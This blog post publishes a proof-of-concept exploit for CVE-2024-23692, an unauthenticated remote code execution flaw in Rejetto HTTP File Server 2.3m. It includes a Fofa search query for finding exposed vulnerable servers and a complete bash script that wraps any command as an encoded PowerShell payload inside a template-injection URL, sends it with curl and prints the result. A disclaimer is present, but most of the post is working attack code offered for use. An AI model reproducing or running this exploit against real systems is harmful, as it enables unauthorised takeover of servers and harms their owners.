POC — Unauthenticated RCE Flaw in Rejetto HTTP File Server — CVE-2024–23692
CVE-2024–23692 is a critical vulnerability in Rejetto HTTP File Server (HFS) version 2.3m, allowing unauthenticated remote code execution (RCE).
This flaw enables attackers to execute arbitrary code on the server, posing significant security risks. In this post, we examine Rejetto HFS, the affected versions, the impact of the vulnerability, and the timeline of its discovery and remediation.
For full article click here
Read about it — CVE-2024–23692
Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
Finding Targets
To find potential targets, use Fofa (similar to Shodan.io):
- Fofa Dork:
"HttpFileServer" && server=="HFS 2.3m"

Cloning the Repository
First, clone the repository:
git clone https://github.com/verylazytech/CVE-2024-23692
Or just copy manually the code to new file “CVE-2024–23692.sh”:
# CVE-2024-23692 Unauthenticated RCE Flaw in Rejetto HTTP File Server
# FOFA "HttpFileServer" && server=="HFS 2.3m"
# Medium https://medium.com/@verylazytech
#!/usr/bin/env bash
banner() {
cat <<'EOF'
______ _______ ____ ___ ____ _ _ ____ _____ __ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / / /_ / _ \___ \
| | \ \ / /| _| __) | | | |__) | || |_ __) | |_ \| '_ \ (_) |__) |
| |___ \ V / | |___ / __/| |_| / __/|__ _| / __/ ___) | (_) \__, / __/
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_/_____|
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
@VeryLazyTech - Medium
EOF
}
# Call the banner function
banner
set -e
# Check for correct number of arguments
if [ "$#" -ne 2 ]; then
printf "Usage: $0 <url> <command>"
exit 1
fi
commands=$(echo "echo [S]; $2; echo [S];" | iconv -t UTF-16LE | base64 -w 0)
payload="/?n=%0A&cmd=cmd+/c+powershell+-enc+$commands&search=%25xxx%25url%25:%password%\}\{.exec|\{.?cmd.\}|timeout=15|out=abc.\}\{.?n.\}\{.?n.\}RESULT:\{.?n.\}\{.^abc.\}====\{.?n.\}"
url=$1$payload
printf "\033[0;32mTrying to exploit... Just a sec\033[0m"
response=$(curl -s -X GET "$url")
result=$(echo "$response" | awk 'BEGIN {found=0} /\[S\]/ {if (found == 0) {found=1; next} else {exit}} found {print}')
# Output the result
printf "[\033[0;32m*\033[0m]" $(date "+%Y-%m-%d %H:%M:%S") " \n[\033[0;32m*\033[0m] Output: \n"
printf "$result"
printf "\n"
Run the Exploit:
./CVE-2024-23692.sh <Target:port> <cmd>

Ready to level up your cybersecurity skills? Check out my exclusive eBooks packed with expert insights and practical guides!
Comments
Post a Comment